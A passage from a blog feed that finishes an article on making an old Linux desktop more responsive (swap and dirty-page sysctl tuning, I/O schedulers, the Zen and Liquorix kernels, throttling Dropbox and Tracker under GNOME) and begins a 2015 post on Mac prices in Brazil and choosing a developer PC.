<h3>What are the real Bottlenecks?<span class="hx:absolute hx:-mt-20" id="what-are-the-real-bottlenecks"></span>
    <a href="#what-are-the-real-bottlenecks" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>A &ldquo;slow&rdquo; computer is not necessarily sporting old CPUs. I am doing my tests on a very old Lenovo Thinkcentre Edge 71z tower desktop. It has an old 2nd generation Intel Core 2.4Ghz 4 cores SandyBridge CPU. We just saw the release of the 7th generation Kaby Lake processors, so one might assume that nothing would run on such an old CPU, but you would be wrong.</p>
<p>CPU is usually not a serious bottleneck unless you&rsquo;re doing really intensive computation, such as video compression, data sciences, genetics, neural networks, etc.</p>
<p>For a casual user or even a heavy-weight developer, any processor better than the 1st generation Intel Core series is plenty.</p>
<p>GPU is also rarely a bottleneck unless you&rsquo;re doing heavy gaming or 4K renderings. Most of the time you don&rsquo;t really need a USD 7000 dedicated GTX 1080.</p>
<p>By the way, this is not necessary for most systems, but just to be on the safe side do this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo pacman -S mesa-demos
glxinfo | grep direct</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>You should see <code>direct rendering: Yes</code>. If not, refer to your distro documentation, because this means you&rsquo;re not compositing through the GPU and you&rsquo;re wasting CPU cycles rendering your screen!</p>
<p>If you try to measure your CPU and GPU usages, you will realize that most of the time they are actually idle! That&rsquo;s right, you&rsquo;re mostly underusing your machine cores.</p>
<p>The bottleneck usually boils down to I/O.</p>
<h3>RAM vs SWAP<span class="hx:absolute hx:-mt-20" id="ram-vs-swap"></span>
    <a href="#ram-vs-swap" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Now, you&rsquo;re opening your shiny Chromium browser. Anyone fooling around for a few minutes will open an average of a dozen or more tabs, without breaking a sweat.</p>
<p>It&rsquo;s super easy to eat up all 8GB of the average machine. Whenever that happens, the OS will have to start offloading data to disk, which is orders of magnitude slower.</p>
<p>If application data is offloaded to disk and you alt-tab to it later, the OS will reach a &ldquo;page fault&rdquo;, and it will have to load from disk, from the swap file/partition. And again, this will have the effect of blocking your actions. The environment may stutter for a second or more, making it <strong>unresponsive</strong>.</p>
<p>The very first thing you may want to do is install an extension such as <a href="https://chrome.google.com/webstore/detail/the-great-suspender/klbibkeccnjlkjkiokjodocebajanakg?hl=en"target="_blank" rel="noopener">The Great Suspender</a>. It will simply close all tabs but the one you&rsquo;re reading right now. When you change to another tab it will reload it. The effect is that you&rsquo;re not using RAM if you really don&rsquo;t need to.</p>
<p><img src="https://lh6.googleusercontent.com/PCpWlL8C4bi0yPT1zvOmRwZFd1BaweIiwSw9hmJoUZ4BDA9InMR_fEaC4XNrFTyWW2m_yC8HIw=s640-h400-e365" alt="The Great Suspender"  loading="lazy" /></p>
<p>This extension alone can save you a couple of GIGABYTES of RAM, which is no small thing if you have 8GB or less.</p>
<p>The other thing to consider is that Linux comes pre-configured to balance out offloading application data to swap to accomodate filesystem cache. So, if you&rsquo;re unzipping a large file, some of that data will go to RAM cache and application data will move to the disk. After you finish unzipping, you alt-tab to applications and boom: page faults, unresponsiveness.</p>
<p>So you want to configure the OS to more aggressively keep your application state in RAM, and <a href="https://rudd-o.com/linux-and-free-software/tales-from-responsivenessland-why-linux-feels-slow-and-how-to-fix-that"target="_blank" rel="noopener">this is how you do it</a>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo tee -a /etc/sysctl.d/99-sysctl.conf &lt;&lt;-EOF
vm.swappiness=1
vm.vfs_cache_pressure=50
EOF</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>While on the topic of storage, you will find some older kernels making your machine become unresponsive when dealing with <a href="http://unix.stackexchange.com/questions/107703/why-is-my-pc-freezing-while-im-copying-a-file-to-a-pendrive/107722#107722"target="_blank" rel="noopener">slower storage</a>, such as USB drives or SD cards. This is how you tweak it:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo tee -a /etc/sysctl.d/99-sysctl.conf &lt;&lt;-EOF
vm.dirty_background_bytes=16777216
vm.dirty_bytes=50331648
EOF</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>If you don&rsquo;t want to reboot right now, you can run this in a Terminal:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo sysctl -w vm.swappiness=1
sudo sysctl -w vm.vfs_cache_pressure=50
sudo sysctl -w vm.dirty_background_bytes=16777216 
sudo sysctl -w vm.dirty_bytes=50331648</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Don&rsquo;t go too far on tuning, for example, never disable a file system journaling. It increases performance at the risk of putting your data at risk of corruption.</p>
<h3>Schedulers<span class="hx:absolute hx:-mt-20" id="schedulers"></span>
    <a href="#schedulers" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Why was &ldquo;Linux not ready for the Desktop&rdquo; years ago?</p>
<p>Because it took too many years to finally start tackling low latency, inexpensive thread switching, better scheduling. You have to thank <a href="https://en.wikipedia.org/wiki/Con_Kolivas"target="_blank" rel="noopener">Con Kolivas</a>, <a href="https://en.wikipedia.org/wiki/Ingo_Moln%C3%A1r"target="_blank" rel="noopener">Ingo Molnár, Thomas Gleixner</a>. The Linux kernel development is known to be super difficult to deal with and Con Kolivas is one of its victims, but his work lives on to allow us to have better Desktop experiences these days.</p>
<p>There are Process Schedulers and I/O Schedulers. The first is responsible to manage the <a href="https://rt.wiki.kernel.org/index.php/RT_PREEMPT_HOWTO"target="_blank" rel="noopener">Preemption</a> of the kernel, how it switches between different computational tasks, the low-level equivalent of you &ldquo;alt-tabbing&rdquo; through apps, so to speak.</p>
<p>I/O Schedulers deal with sharing slow I/O resources with competing processes needing to read from disk, write to RAM, etc.</p>
<p>The recent history of process scheduler for the Desktop boils down to Con Kolivas&rsquo; works on fair scheduling, leading to Ingo Molnár&rsquo;s Completely Fair Scheduler (CFS) which is the default in most distros nowadays and the continuing work of Kolivas on Staircase, Rotating Staircase Deadline, Staircase Deadline, Brain Fuck Scheduler (BFS), and the most recent Multiple Queue Skiplist Scheduler (MuQSS).</p>
<p>Then there are I/O Schedulers. For the most part you will be dealing with the Completely Fair Queueing (CFQ). Most development on this side is attributed to Jens Axboe, also responsible for the Deadline Scheduler and Noop Scheduler. Then there is the controversial evolution called <a href="http://algo.ing.unimo.it/people/paolo/disk_sched/bfq-history.php"target="_blank" rel="noopener">Budget Fair Queueing</a> (BFQ).</p>
<p>When you have SSDs (and this is why you want SSDs), you will more likely choose NOOP (or <a href="https://wiki.debian.org/SSDOptimization#Low-Latency_IO-Scheduler"target="_blank" rel="noopener">Deadline</a>) just because there is no need to waste computation time managing complex I/O queues for SSDs as they can easily handle up to tens of thousands of I/O operations concurrently without breaking a sweat.</p>
<p>But if you have to use mechanical hard-drives, particularly the old and super slow 5.400rpm ones, you will want to manage the I/O queue efficiently, touching the spinning plates as little as possible. And in this case, you will really want to use something like BFQ (or at least leave it at the default CFQ).</p>
<p>You can check which I/O Scheduler you&rsquo;re running like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>$ cat /sys/block/sda/queue/scheduler
noop deadline cfq [bfq] </code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>In the example above you will see that <code>[bfq]</code> is the one active, but you can change it on the fly to test it out if you want.</p>
<p>To take advantage of those newest schedulers to better optimize slow computers, your best bet is to install Linux Zen kernel, a version of <a href="https://liquorix.net/"target="_blank" rel="noopener">Liquorix</a>. It includes the MuQSS scheduler instead of CFS and BFQ instead of CFQ, while also adding more tweaks for responsiveness like proper QoS over TCP to avoid TCP congestion.</p>
<p>In Arch Linux it&rsquo;s a simple thing to do:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo pacman -Sy linux-zen
sudo grub-mkconfig -o /boot/grub/grub.cfg</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>For Ubuntu, you may want to refer to <a href="https://liquorix.net/#install"target="_blank" rel="noopener">Liquorix&rsquo;s Install Page</a> as it depends on your CPU, but most likely you will install on 64-bit machines:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo apt-get install liquorix-keyring
apt-get install linux-image-liquorix-amd64 linux-headers-liquorix-amd64</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>Is GNOME 3 too slow?<span class="hx:absolute hx:-mt-20" id="is-gnome-3-too-slow"></span>
    <a href="#is-gnome-3-too-slow" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>I always heard that GNOME and even KDE are too slow, you should just use XFCE (or LXQt, or MATE).</p>
<p>And it always striked me as one of those things people just keep repeating until it becomes the official canon.</p>
<p>As an engineer, I dislike thinking that way. Defying the canon is more like what an engineer should do.</p>
<p>GNOME 3.22 is an ever evolving environment and ecosystem. It&rsquo;s good looking by default, no need to tweak it too much. And it has several built-in conveniences such as GNOME Online Accounts, Tracker for indexing files and making them easily searchable, GNOME Photos that sync from Google Photos, and so on. Every nicety we like about a system like macOS.</p>
<p>Convenience is a trade-off of performance and responsiveness. So high-end machines will benefit from the convenience and old machines will suffer because of the extra &ldquo;bloat&rdquo; in the background.</p>
<p>How do you maintain some of the convenience on old hardware?</p>
<p>Again, you must understand what&rsquo;s going on. The first thing you must install is <strong>htop</strong> and <strong>iotop</strong>. The first is good to see what processes running in the background may be eating up your CPU or RAM. The second is good to see what processes are bloating your I/O queues doing background file/network operations.</p>
<p>What I found out in my system were 2 main offenders: Dropbox and Tracker.</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/606/Screenshot_from_2017-01-17_16-15-32.png" alt="iotop"  loading="lazy" /></p>
<p>Dropbox is optional, but most people nowadays use it. Out of the box it is a hideous monster, one of the worst pieces of software you&rsquo;re forced to live with.</p>
<p>The first time you install and it has to download everything, your machine will go down to its knees. Nothing to do about that, just remember to install it Friday night and leave it running in the office over the weekend.</p>
<p>Then, edit the <code>/usr/share/applications/dropbox.desktop</code> and replace the <code>Exec=dropbox</code> line with this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>Exec=ionice -c 3 -n 7 dropbox start -i &amp;&amp; cpulimit -b -e dropbox -l 10</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>This &ldquo;should&rdquo; tune down Dropbox to have the least amount of CPU time and only have I/O when the system is idle.</p>
<p>Another way is to install <a href="https://github.com/Nefelim4ag/Ananicy/blob/master/README.md"target="_blank" rel="noopener">Ananicy</a>. It is a daemon that promises to automatically set NICE and IOCLASS of selected processes just like using <code>ionice</code> and <code>cpulimit</code> above. You can install it in Arch like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo pacaur -S ananicy-git</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And if you <code>cat /etc/ananicy.d/dropbox.rules</code> you will see a rule set like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code># Dropbox client: https://www.dropbox.com
NAME=dropbox       NICE=19     IOCLASS=idle</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Which is basically what we did in the <code>Exec</code> line tweak. I didn&rsquo;t test Ananicy enough but if it does what&rsquo;s promised, it&rsquo;s even easier as it comes with pre-configured rules for applications such as make, VLC, transmission, etc.</p>
<p>Then, there is <strong>Tracker</strong>. The purpose of this tool is to index your files so you can search them fast and easily through GNOME applications such as the Nautilus File Manager.</p>
<p>Again, the first time you install your new GNOME environment it will be very expensive to build the first index pass, especially if you&rsquo;re downloading tons of files from Dropbox. Do it on a Friday night!</p>
<p>But you should also tune it down to only run when your system is idle. Run Alt-F2 and type <code>tracker-preferences</code>, then configure it to look like this:</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/605/Screenshot_from_2017-01-17_15-32-38.png" alt="tracker-preferences"  loading="lazy" /></p>
<p>In the same applet, also configure it to ignore <code>log</code> directories and <code>*.log</code> file patterns!</p>
<p>Only those 2 things should make your machine WAY more responsive when using slow mechanical drives. I noticed that <code>gnome-photos</code> keeps running in the background and consuming some I/O, it is probably trying to sync your online photos from Google if you set <a href="https://wiki.gnome.org/Projects/GnomeOnlineAccounts"target="_blank" rel="noopener">GNOME Online Accounts</a>.</p>
<blockquote>
  <p>Dropbox, Tracker, Gnome-Photos, will all cause your initial experience to suck. But if you have patience - and a fast internet connection - they should settle down after the initial heavy sync.</p>

</blockquote>
<p>GNOME has other services in the background, namely:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>gnome-session
gnome-shell
gnome-settings-daemon
gnome-online-accounts
evolution-data-server
gjs-console</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>There must be more depending on optional apps you installed. Gnome-Shell and GJS are easily the worst of the bunch. You can&rsquo;t do much about them because they&rsquo;re the Core of GNOME. GJS in particular enables Javascript-based extensions and everything Javascript is slow. The only thing you can do is avoid installing too many GNOME Extensions.</p>
<p>By the way, if you install XFCE alongside GNOME, you may be surprised that many of the same background services will start up in the background! Install one or the other, not both in the same system.</p>
<p>On the other hand, a bare-bone Arch install with the XFCE4 package set will start up consuming around 150MB of RAM!! But of course, you lose all the niceties that comes pre-installed with GNOME. And also of course: you start Chromium, open a few tabs, and there goes all the RAM anyway.</p>
<p>If your goal is just to save resources, the choice is not between XFCE or LXQt, it is between having Facebook permanently opened in a browser tab or not. The reality is that the main offender of RAM is the Web as a whole. Half a dozen tabs and you eat up more than 1 Gigabyte, and it keeps going up. That&rsquo;s why my main first recommendation is to install The Great Suspender.</p>
<p>You will run far worse apps in the foreground. For example, Spotify, Franz, Atom, to name a few. If it&rsquo;s a hybrid app that loads a browser to load a web application, it is going to be heavy.</p>
<p>And I&rsquo;d choose a <a href="https://wiki.archlinux.org/index.php/wayland#Window_managers_and_desktop_shells"target="_blank" rel="noopener">forward thinking desktop manager</a> that already supports Wayland/Weston instead of X11. You do want to throw away the <a href="http://www.phoronix.com/scan.php?page=article&amp;item=x_wayland_situation&amp;num=1"target="_blank" rel="noopener">bad X11 legacy</a> as soon as possible.</p>
<h3>Summary<span class="hx:absolute hx:-mt-20" id="summary"></span>
    <a href="#summary" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>As a shorter TL;DR remember to do the following:</p>
<ul>
<li>Tune your swappiness and cache pressure settings to avoid page faults when using your foreground applications. It&rsquo;s a trade-off of performance vs responsiveness.</li>
<li>Install the Linux-Zen or Liquorix kernels (depending on your distro) to have access to the better MuQSS process scheduler and BFQ I/O schedulers. If you&rsquo;re using an SSD you will want to check if you&rsquo;re using NOOP or Deadline I/O schedulers instead. Also check for <a href="https://wiki.archlinux.org/index.php/Solid_State_Drives#TRIM"target="_blank" rel="noopener">TRIM support</a>.</li>
<li>Make Dropbox and Tracker play nice with your system. Configure both to only run when you are not using the system (when idle). Maybe install Ananicy and rejoice.</li>
<li>Do not choose a Desktop Manager because of performance concerns. If you&rsquo;re using Chromium or other web based applications, you&rsquo;re already doomed. So don&rsquo;t panic and use GNOME 3.22.</li>
</ul>
<p>When I installed both Fedora 25 and Arch Linux I felt them sluggish. When I used Ubuntu 14.04 for months in a better hardware, I also felt it sluggish compared to macOS in similar hardware, but I never attempted this level of tuning before.</p>
<p>The main reason being the heavy initial sync of applications such as Dropbox, Tracker, Gnome-Photos.</p>
<p>The second reason is the better tuning of I/O scheduling and Swap settings because of the use of a mechanical harddrive. If you use an SSD you probably don&rsquo;t suffer nearly as much.</p>
<p>Bottomline: if you can, buy a good SSD. If you have PCI Express x4, then do even better and buy a M.2 SSD such as the <a href="http://www.samsung.com/semiconductor/minisite/ssd/product/consumer/950pro.html"target="_blank" rel="noopener">Samsung 950 EVO M.2</a>. The best thing you can do is have more than 8GB of RAM (16GB being a good sweet spot) and a really fast SSD (preferably with a BUS that doesn&rsquo;t suffer from SATA 3&rsquo;s bottlenecks).</p>
<p>With all the tweaks and tunings, I am happy to report that my years old Lenovo tower is running as smoothly as it can, being responsive enough even in higher loads, with this shit slow mechanical hard drive. And as a bonus, if you choose to stay in GNOME 3, install the nice <a href="https://github.com/nana-4/Flat-Plat"target="_blank" rel="noopener">Flat Plat</a> theme, heavily inspired by Material Design, and the <a href="https://snwh.org/paper"target="_blank" rel="noopener">Paper</a> or <a href="https://snwh.org/moka"target="_blank" rel="noopener">Moka</a> icon sets.</p>
]]></content:encoded><category>linux</category><category>performance</category><category>hardware</category></item><item><title>Brazil Situation: No Macs for the Rest of Us</title><link>https://akitaonrails.github.io/en/2015/11/10/situacao-brasil-no-macs-for-the-rest-of-us/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2015/11/10/situacao-brasil-no-macs-for-the-rest-of-us/</guid><pubDate>Tue, 10 Nov 2015 16:54:00 -0200</pubDate><description>&lt;p&gt;This article aims to be practical, so I&amp;rsquo;ll get right to the point. With the &lt;strong&gt;unquestionably&lt;/strong&gt; inept and corrupt government we have, one of the concrete effects for us software developers is the inability to buy good machines to do our own work.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/523/cotacao_dolar.png" alt="Dollar rate 2015" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The Real went into free fall at the beginning of this year and is only now stabilizing a bit. Even so, we keep drifting farther from the ideal of buying a professional laptop.&lt;/p&gt;</description><content:encoded><![CDATA[<p>This article aims to be practical, so I&rsquo;ll get right to the point. With the <strong>unquestionably</strong> inept and corrupt government we have, one of the concrete effects for us software developers is the inability to buy good machines to do our own work.</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/523/cotacao_dolar.png" alt="Dollar rate 2015"  loading="lazy" /></p>
<p>The Real went into free fall at the beginning of this year and is only now stabilizing a bit. Even so, we keep drifting farther from the ideal of buying a professional laptop.</p>
<p>On the official Apple Brazil site, once you add the Real&rsquo;s devaluation and the <strong>damned</strong> Brazil Cost in taxes, the ideal development machine, a Macbook Pro 15&quot; Retina with 16GB of RAM and 512GB SSD, hits the impossible figure of R$ 23,499.00.</p>
<p>In the United States, that same machine costs USD 2,499 plus (a little) tax. If we went through the gray market (which I recommend), with the dollar at the current R$ 3.80 plus about 30% to 40% of the &ldquo;gray market cost,&rdquo; even then we won&rsquo;t pay less than R$ 13,500.</p>
<p>Even if we go for the 13&quot; Retina version with 8GB of RAM, which costs USD 1,799 in the US, it won&rsquo;t come out here for less than R$ 9,700.</p>
<p>That is more than double what most developers can afford, given a budget of R$ 4,000, up to R$ 5,000 if we really stretch.</p>
<p>The TL;DR is simple: the best hardware (not only the processor, but the keyboard, trackpad, and overall build) is still the Macbook Pro. No other machine comes close, and to me the best operating system is still OS X, with Linux virtualization for development. If you can&rsquo;t buy a Macbook, you&rsquo;re left picking a good PC and running Linux.</p>
<h3>Which Machine to Buy?<span class="hx:absolute hx:-mt-20" id="which-machine-to-buy"></span>
    <a href="#which-machine-to-buy" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Even buying a machine in Brazil, you can&rsquo;t get the best configuration, which pushes the price above R$ 8,000.</p>
<p>In the R$ 5,000 range, forget about SSD, it doesn&rsquo;t exist. The best value I found was the <a href="http://web.archive.org/web/20150625001142/http://www.dell.com/br/p/inspiron-15-5548-laptop/pd?oc=cai5548u1612656br052&amp;model_id=inspiron-15-5548-laptop"target="_blank" rel="noopener">Dell Inspiron 15 Series 5000</a>, which at the time of this article was R$ 4,117. It&rsquo;s worth choosing one with plenty of RAM, more than 8GB if possible, to avoid swapping to the slow disk as much as you can, usually a 5400 RPM mechanical one.</p>
<p>If anyone has good options in this range, at least a 3rd-generation Core i5, 8GB of RAM, and a 256GB SSD, drop them in the comments.</p>
<p>On the hardware front, a Lenovo Thinkpad or even a Sony Vaio (which is probably prohibitively expensive too) have better build quality than Dell. Asus and Acer I don&rsquo;t count as good options that will last, and the finish isn&rsquo;t much to write home about either.</p>
<p>I&rsquo;ll say it upfront: PC keyboards and trackpads are terrible. If you can, use an external Apple keyboard and trackpad. The Dell model I&rsquo;m testing has a horrible keyboard, on top of the Brazilian layout I can&rsquo;t stand: light plastic, with awful click feedback for anyone who types fast. The trackpad interrupts typing at the slightest touch, struggles to register multiple clicks correctly, and mostly gets in the way instead of helping.</p>
<h3>Developer Profiles<span class="hx:absolute hx:-mt-20" id="developer-profiles"></span>
    <a href="#developer-profiles" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The idea is a machine for developers. Unless you&rsquo;re a .NET developer, definitely install a Linux distribution. Which distro depends on your profile: the more low-level you are, the closer you get to wanting Arch Linux. The more high-level you are, especially a web app developer, the more I&rsquo;d steer you toward an Ubuntu LTS, which in this case would be Ubuntu 14.04.</p>
